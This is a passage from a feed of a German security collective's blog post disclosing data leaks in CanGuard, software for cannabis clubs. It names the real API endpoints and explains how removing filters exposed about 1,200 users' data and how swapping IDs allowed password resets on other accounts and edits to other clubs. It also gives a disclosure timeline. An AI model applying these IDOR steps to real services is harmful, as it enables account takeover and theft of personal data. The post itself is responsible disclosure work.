&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Single-Page-Webanwendung&#34;&gt;https://de.wikipedia.org/wiki/Single-Page-Webanwendung&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;Falls ihr euch fragt, warum der letzte Blogpost so lange her ist: Wir haben uns fortgebildet und können jetzt nicht nur Zahlen hochzählen, sondern auch das ganze Alphabet (in Schrift und Gesang).&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;Dieser Satz wurde sehr müde mitten in der Nacht geschrieben.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Seit dem 1. April ist Bubatz legal, Datenlecks aber weiterhin nicht</title>
      <link>https://zerforschung.org/posts/canguard/</link>
      <pubDate>Fri, 05 Apr 2024 13:55:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/canguard/</guid>
      <description>&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/canguard/the-kiffers-yearn-for-the-mines.jpg&#34;
         alt=&#34;Minenarbeiter-Miniaturen auf einem übergroßen Brokolli&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Kiffer aller (Bundes-)Länder vereinigt euch und jubelt, seit dem 01.04. ist Bubatz legal&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.
In freudiger Erwartung auf den 01.07., an dem die nächsten Regelungen aus dem Cannabis-Gesetz in Kraft treten, sprießen nun in ganz Deutschland die Cannabis Social Clubs (CSCs) aus dem Boden und brauchen zum Wachsen nicht nur Samen, Wasser und viel Licht, sondern &lt;em&gt;natürlich&lt;/em&gt; auch &lt;em&gt;gute&lt;/em&gt; Software.
So gibt es schon jetzt eine ganze Reihe Anbieter, die den neuen Markt gerochen&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; haben und speziell auf CSCs ausgerichtete Software anbieten.&lt;/p&gt;
&lt;p&gt;Als wir davon gehört haben, hatten wir gleich so ein Kratzen im Hals und ein schlechtes Bauchgefühl – das sich leider bestätigte:
Nach kurzer Zeit fanden wir ein Datenleck mit Details von mehr als 1.000 CSC-Interessierten - und das Resultat von schlechter Gesetzgebung.&lt;/p&gt;
&lt;h2 id=&#34;große-ziele-&#34;&gt;Große Ziele &amp;hellip;&lt;/h2&gt;
&lt;p&gt;Es fing alles harmlos an: mit einer Instagram-Werbung für CanGuard, einen Anbieter von Rundum-Sorglos-Software-Lösungen für CSCs (offiziell &amp;ldquo;Anbauvereinigungen&amp;rdquo;).&lt;br&gt;
Von Registrierung der Club-Mitglieder über Lagerverwaltung und die nötige Compliance-Dokumentation bis zu einem Satzungs-Generator für den Verein soll einmal alles dabei sein.&lt;br&gt;
Und natürlich: Alles sicher und Datenschutzkonform.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/canguard/screenshot-datensicherung.png&#34;
         alt=&#34;Screenshot: Datensicherung - Sicherheit - Euer Club, eure Daten. Konforme Verwaltung aller Clubinformationen&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Auch im Discord-Channel von CanGuard schürt der Gründer hohe Erwartungen.&lt;br&gt;
Wenige Tage, bevor wir auf CanGuard aufmerksam wurden, fragte dort ein User, ob es ein Datenleck gäbe, da er plötzlich viel SPAM per E-Mail bekäme.
Der Gründer antwortet, dass Datenschutz Kern ihres Produkts sei und ihnen besonders am Herzen liege.
Das Produkt soll so sicher sein, dass selbst bei einem Datenleck niemand an die E-Mail-Adressen käme:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/canguard/screenshot-discord.png&#34;
         alt=&#34;Screenshot: Discord. Posts: Auf gar keinen Fall!! Eure Daten sind von unserer Seite max Save. Um das nochmal zu erklären, weil mir die Angelegenheit wirklich am Herzen liegt. 1. haben wir bisher keine weitere Äußerung in der Richtung gemeldet bekommen. 2 kennen wir selber eure Mailadressen nicht sondern können nur über CanGuard Kontakt zu euch aufnehmen. Das ist z.B eine von vielen Vorsorgemaßnahmen, damit genau so etwas nicht passiert. Selbst bei einem Datenleck könnte euch kein externer anschreiben. Wir haben so viele Faktoren davor gebaut da ein funktionierender Datenschutz der Kern unseres Projekts ist. Und da investieren wir lieber etwas mehr Zeit als zu wenig. Trotzdem danke für das Feedback. Jetzt kennst du auch unsere Haltung dazu.&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Trotz diesen Versprechungen haben wir den Dunst der Stunde 💨 genutzt, uns als CSC registriert und dabei die Entwicklungs-Tools unseres Browsers mitlaufen lassen.
So können wir sehen, welche Daten zwischen der Website und unserem Rechner übertragen werden.&lt;/p&gt;
&lt;h2 id=&#34;wir-wissen-wer-mit-anbauen-will&#34;&gt;Wir wissen, wer mit (an)bauen will&lt;/h2&gt;
&lt;p&gt;Nach dem Login können wir jetzt unseren Club administrieren, die Mitglieder verwalten und so weiter.
Dabei fällt uns eine Anfrage an die CanGuard-Server auf:
Die Liste der Mitglieder wird von &lt;code&gt;https://api.canguard.de/user/all?club=[CLUB_ID]&amp;amp;invitation=accepted&amp;amp;role=user&lt;/code&gt; abgerufen (&lt;code&gt;[CLUB_ID]&lt;/code&gt; ist dabei natürlich die Nummer unseres frisch gegründeten CSCs🍃).
Die Antwort sah dann so aus (Details natürlich ersetzt):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;success&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;660da9ed1234567890abcdef&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;first_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Alex&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;last_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Mustermensch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;user_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;alex.mustermensch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;alex.mustermensch@example.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;$2b$10$9NPwgu7eCnDLLhoFT9uYjuoKtE8WNMwFcrURYvWVZvAg567.sjQcG&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;role&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;active&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;postal_code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;12345&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;date_of_birth&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1970-01-01T00:00:00.000Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;club&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;660da9ed1234567890abcdfa&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;invitation&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;accepted&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;createdAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2024-03-24T19:11:41.968Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;updatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2024-03-24T19:28:20.944Z&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Bei &lt;code&gt;/user/all&lt;/code&gt; wurden wir gleich hellhörig 👀.
Was würde wohl passieren, wenn man die Filter &lt;code&gt;club&lt;/code&gt;, &lt;code&gt;invitation&lt;/code&gt; und &lt;code&gt;role&lt;/code&gt; einfach wegließe?
Der einfachste Weg, das herauszufinden, ist es auszuprobieren:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/canguard/screenshot-api.png&#34;
         alt=&#34;Screenshot: API-Anfrage nach /user/all, geschwärzte Daten im Format wie oben&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Denn tatsächlich bekommen wir jetzt plötzlich nicht mehr nur die Mitglieder unseres &amp;ldquo;&amp;ldquo;&amp;ldquo;CSC&amp;rdquo;&amp;rdquo;&amp;rdquo; zu sehen, sondern mehr als 1.200 Nutzer*innen – mutmaßlich alle Nutzer*innen von CanGuard mit den zu ihnen hinterlegten Daten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User-ID&lt;/li&gt;
&lt;li&gt;Vor- und Nachname&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;bcrypt-gehashtes Passwort&lt;/li&gt;
&lt;li&gt;Rolle (&lt;code&gt;user&lt;/code&gt; oder &lt;code&gt;clubowner&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;ID des zugeordneten Clubs&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Postleitzahl&lt;/li&gt;
&lt;li&gt;Status (&lt;code&gt;active&lt;/code&gt; oder &lt;code&gt;inactive&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Einladungs-Status (&lt;code&gt;invited&lt;/code&gt; oder &lt;code&gt;accepted&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Datum der Registrierung sowie der letzten Änderung am Profil&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Einige der Felder sind optional und nicht bei allen Nutzer*innen ausgefüllt, z.B. PLZ, Nachname, Geburtsdatum.&lt;/p&gt;
&lt;h2 id=&#34;wir-sind-andere-kifferinnen&#34;&gt;Wir sind andere Kiffer*innen?&lt;/h2&gt;
&lt;p&gt;Wenn wir in so kurzer Zeit bereits auf die erste Lücke stoßen, schnuppern wir doch nochmal lieber etwas tiefer rein.&lt;/p&gt;
&lt;p&gt;Bei einem kurzen Que&lt;sup&gt;e&lt;/sup&gt;rlesen des Quelltextes sahen wir die Schnittstelle, die verwendet wird, wenn man Nutzer*innen nach ihrer Registrierung in den eigenen CSC aufnehmen möchte:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://api.canguard.de/user/updateMemberByAdmin?_id=[User-ID]&lt;/code&gt;&lt;br&gt;
(statt &lt;code&gt;[User-ID]&lt;/code&gt; stand dort die Nummer der Nutzer*in, die wir in den Club lassen wollten)&lt;/p&gt;
&lt;p&gt;Spannenderweise wird die gleiche Schnittstelle auch aufgerufen, wenn man sein eigenes Passwort vergessen hat und es zurücksetzt.&lt;br&gt;
Dort steht dann statt &lt;code&gt;[User-ID]&lt;/code&gt; unsere eigene Nutzer*innen-ID.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/canguard/screenshot-updatememberbyadmin.png&#34;
         alt=&#34;Screenshot: API-Update /user/updateMemberByAdmin, gesetztes Passwort und Daten wie oben&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Doch leider funktioniert das nicht nur für unseren eigenen Account.&lt;br&gt;
Wenn wir statt der eigenen User-ID die von anderen Nutzer*innen eintragen, können wir das Passwort eines anderen Accounts ändern und uns daraufhin in diesen fremden Account einloggen.&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;
Praktischerweise liefert CanGuard in der Antwort dann gleich noch die E-Mail-Adresse des Accounts für den Login mit.&lt;/p&gt;
&lt;p&gt;Dafür brauchen wir nur die ID des Accounts den wir übernehmen wollen, und die kennen wir ja bereits. Wir haben ja gerade eine Liste &lt;em&gt;aller&lt;/em&gt; Accounts bekommen – inklusive ihrer ID.&lt;/p&gt;
&lt;h2 id=&#34;dein-club-mein-club-das-sind-doch-alles-bürgerliche-kategorien&#34;&gt;Dein Club, mein Club, das sind doch alles bürgerliche Kategorien&lt;/h2&gt;
&lt;p&gt;Und nicht nur fremde Accounts konnten wir verändern, bei den Clubs sah es ähnlich aus.
Wenn wir unseren eigenen Club anpassen, wird eine Anfrage an die Schnittstelle &lt;code&gt;https://api.canguard.de/club/updateClub/[Club-ID]&lt;/code&gt; gesendet (statt &lt;code&gt;[Club-ID]&lt;/code&gt; stand dort die Nummer unseres Clubs)&lt;/p&gt;
&lt;p&gt;Doch auch hier wieder das gleiche Spiel:
Wenn wir statt der ID unseres Clubs die ID eines anderen Clubs eintragen, können wir diesen beliebig verändern.
Beispielsweise können wir den Namen des Clubs, die Beschreibung oder die Adresse ändern:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/canguard/screenshot-updateclub.png&#34;
         alt=&#34;Screenshot: API-Update /club/updateClub, Name eines Clubs überschrieben&#34;/&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;-auf-zum-report&#34;&gt;✍️ Auf zum Report&lt;/h2&gt;
&lt;p&gt;Solch gravierende Lücken müssen schnellstmöglich geschlossen werden.
Daher haben wir wie immer einen Report geschrieben, mit allem, was wir zu den Lücken herausfanden, inklusive Bauanleitung, um die Lücken nachzuvollziehen.&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Diesen haben wir am 27.03. an das Unternehmen, sowie die zuständige Landesdatenschutzbehörde von Niedersachsen und das CERT-Bund beim BSI gesendet.&lt;br&gt;
Dabei bitten wir die Unternehmen immer, den Eingang der Nachricht zu bestätigen und uns mitzuteilen, wie lange sie etwa für das Schließen der Lücke brauchen werden.&lt;/p&gt;
&lt;p&gt;An dieser Stelle hat es uns noch etwas verwirrt, unter welcher Mailadresse CanGuard bzw. die ThingBring GmbH als Betreiber nun wirklich zu erreichen sein möchte.
Auf der Kontaktseite steht als Adresse &lt;code&gt;info [at] canguard.de&lt;/code&gt;, in der Datenschutzerklärung dann zwei Adressen mit der Endung &lt;code&gt;@thingbring.de&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sicherheitshalber haben wir uns an alle drei Adressen gewandt &amp;ndash; jedoch war dies nur bei der Ersten erfolgreich.
Alle E-Mails an &lt;code&gt;thingbring.de&lt;/code&gt; konnten nicht zugestellt werden, aus einem einfachen Grund: Diese Domain war nicht registriert&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/canguard/domainshopping.png&#34;
         alt=&#34;Screenshot: thingbring.de verfügbar auf einer Domainregistrierungsseite für 5,97€&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;12 Stunden später bekamen wir von CanGuard eine Eingangsbestätigung mit der Ankündigung, das Leck &amp;ldquo;umgehend&amp;rdquo; zu beheben.&lt;/p&gt;
&lt;p&gt;Weitere 6 Tage später hatten wir jedoch immer noch nichts Neues gehört.&lt;br&gt;
Also haben wir nochmal nachgefragt – doch nachdem sie anscheinend in der Zwischenzeit an ihrem E-Mail-Setup herumgebastelt haben, konnten nicht mal mehr E-Mails an die bisher funktionierende &lt;code&gt;canguard.de&lt;/code&gt; E-Mail-Adresse zugestellt werden :(.&lt;br&gt;
Zum Glück standen in der Datenschutzerklärung auch Handynummern, bei denen wir es via SMS probiert haben.&lt;/p&gt;
&lt;p&gt;Auch auf die SMS gab es keine Antwort. Am nächsten Tag haben sie aber versucht, ihren E-Mail-Empfang zu reparieren - und zu unserer Überraschung die Plattform gleich komplett offline genommen.&lt;/p&gt;
&lt;p&gt;Am 05.04., also noch einen Tag später, hatten wir zwar immer noch keine Antwort, dafür hat CanGuard zumindest die Nutzer*innen über das Datenleck informiert.&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Dabei informierte CanGuard die Nutzer*innen aus unserer Sicht angenehm ehrlich:&lt;br&gt;
Sie nennen konkret die betroffenen Daten und sagen auch, dass sie nicht ausschließen können, dass außer uns noch jemand an die Daten gekommen ist – auch wenn sie darauf keine Hinweise hätten.
Außerdem empfehlen sie den Nutzer*innen, sicherheitshalber ihre Passwörter auch auf anderen Webseiten zu ändern.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;Warum erzählen wir hier davon?&lt;br&gt;
Mit &amp;ldquo;nur&amp;rdquo; etwas mehr als 1.000 Accounts ist CanGuard eher ein kleiner Fall und die Software steckt erkennbar noch in den Kinderschuhen.
Trotzdem denken wir, dass es sinnvoll ist, darüber öffentlich zu berichten.&lt;/p&gt;
&lt;p&gt;Erstens &lt;a href=&#34;https://zerforschung.org/posts/meinschnelltest/&#34;&gt;sind&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/doczirkus/&#34;&gt;wir&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/scoolio/&#34;&gt;der&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/freundschaftspass-de/&#34;&gt;festen&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/datenabfluss-auf-rezept/&#34;&gt;Überzeugung&lt;/a&gt;: &lt;em&gt;Wenn ein Produkt marktreif genug ist, um Kund*innen-Daten zu speichern, muss es auch reif genug sein, diese für sich zu behalten.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Zweitens hoffen wir, dass dieser Artikel eine gewisse &lt;i&gt;Breit&lt;/i&gt;enwirkung hat und andere Anbieter von ähnlichen CSC-SaaS-Lösungen nochmal genau schauen, was sie da eigentlich &lt;em&gt;gebaut&lt;/em&gt; haben.&lt;br&gt;
Wir wollen wirklich nicht, dass solche Software jetzt nach &lt;a href=&#34;https://zerforschung.org/tags/testzentrum/&#34;&gt;den Testzentren&lt;/a&gt;, &lt;a href=&#34;https://zerforschung.org/tags/lieferdienst/&#34;&gt;den Lieferdiensten&lt;/a&gt; und &lt;a href=&#34;https://zerforschung.org/tags/back-to-school/&#34;&gt;der Bildungssoftware&lt;/a&gt; der nächste Running Gag bei uns wird.&lt;/p&gt;
&lt;p&gt;Normalerweise würden wir an dieser Stelle den Anbietern vorhalten, dass sie diese Daten überhaupt sammeln. Datensparsamkeit wäre doch sinnvoller.&lt;br&gt;
Doch das Grundproblem liegt hier nicht nur bei den Software-Anbietern, sondern im &lt;a href=&#34;https://www.recht.bund.de/bgbl/1/2024/109/VO&#34;&gt;Cannabisgesetz&lt;/a&gt; selbst:&lt;/p&gt;
&lt;p&gt;Denn das Gesetz verlangt, dass die CSCs viele Daten über ihre Mitglieder erheben müssen: Name, Geburtsjahr, abgegebene Menge, etc.&lt;br&gt;
Diese Daten müssen zudem 5 Jahre aufbewahrt und teilweise sogar an die zuständige Behörde übermittelt werden.
Netzpolitik.org schreibt dazu: &lt;a href=&#34;https://netzpolitik.org/2024/legalisierung-beim-dealer-ist-mehr-datenschutz/&#34;&gt;&amp;ldquo;Beim Dealer ist mehr Datenschutz&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dabei sollte auch hier Datensparsamkeit gelten und so wenig Daten wie möglich gespeichert werden müssen:&lt;br&gt;
Denn Daten, die gar nicht erst gesammelt und aufbewahrt werden, können auch nicht wegkommen.&lt;/p&gt;
&lt;p&gt;So müssten sich Cannabis-Connoisseur*innen keine Sorgen um ihre Daten machen und könnten sich auf wichtigere Dinge konzentrieren:
Zum Beispiel, warum die Pizza schon wieder alle ist.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;🤝&lt;/h2&gt;
&lt;p&gt;Unsere Rechercheergebnisse haben wir mit Daniel Laufer und Carla Spangenberg vom rbb geteilt, deren Artikel auf tagesschau.de ihr &lt;a href=&#34;https://www.tagesschau.de/investigativ/kontraste/cannabis-clubs-daten-100.html&#34;&gt;hier lesen könnt&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2024-03-23 13:50 - Wir finden erste Lücken bei CanGuard&lt;/li&gt;
&lt;li&gt;2024-03-27 11:03 - Report an CanGuard, ThingBring, zuständige Landesdatenschutzbehörde von Niedersachsen &amp;amp; CERT-Bund&lt;/li&gt;
&lt;li&gt;2024-03-27 11:04 - E-Mail bounced, ThingBring.de ist gar nicht registriert&lt;/li&gt;
&lt;li&gt;2024-03-27 23:13 - Antwort vom CanGuard&lt;/li&gt;
&lt;li&gt;2024-04-03 14:07 - Nachfrage, ob Lücken geschlossen sind&lt;/li&gt;
&lt;li&gt;2024-04-03 14:07 - Mail bounced, &amp;ldquo;Recipient rejected&amp;rdquo;&lt;/li&gt;
&lt;li&gt;2024-04-03 17:29 - Erneute Nachfrage&lt;/li&gt;
&lt;li&gt;2024-04-03 17:29 - Mail bounced wieder, &amp;ldquo;Recipient rejected&amp;rdquo;&lt;/li&gt;
&lt;li&gt;2024-04-03 22:10 - E-Mail mit erneuter Nachfrage&lt;/li&gt;
&lt;li&gt;2024-04-03 22:10 - Mail bounced immer noch, &amp;ldquo;Recipient rejected&amp;rdquo;&lt;/li&gt;
&lt;li&gt;2024-04-03 22:15 - SMS an Gründer und Datenschutzbeauftragten&lt;/li&gt;
&lt;li&gt;2024-04-04 11:00 - E-Mail-Zustellung wurde wohl repariert, wir schicken E-Mail mit erneuter Nachfrage&lt;/li&gt;
&lt;li&gt;2024-04-04 18:09 - wir bemerken, dass die CanGuard-App abgeschaltet wurde&lt;/li&gt;
&lt;li&gt;2024-04-05 07:15 - CanGuard benachrichtigt ihre Nutzer per E-Mail über das Datenleck&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;An solch einem Artikel sitzen wir als Kollektiv &lt;strong&gt;deutlich&lt;/strong&gt; länger als eine Woche, vom Finden der Lücken, über das Schreiben der Reports, den Umgang mit den betroffenen Unternehmen bis zur Veröffentlichung dieses Posts.&lt;/p&gt;
&lt;p&gt;Falls er euch gefällt, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;könnt ihr uns gerne unterstützen&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Wie ihr seht haben wir den Jugendsprachkurs bei Karl Lauterbach (61 Jahre) gemacht.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;süßlich, fruchtig, blumig und ein bisschen wie frischer Schweiß 👃&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;Natürlich haben wir das nicht mit fremden Accounts getestet, sondern uns selbst mehrere Accounts angelegt und dann an diesen gegenseitig getestet.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
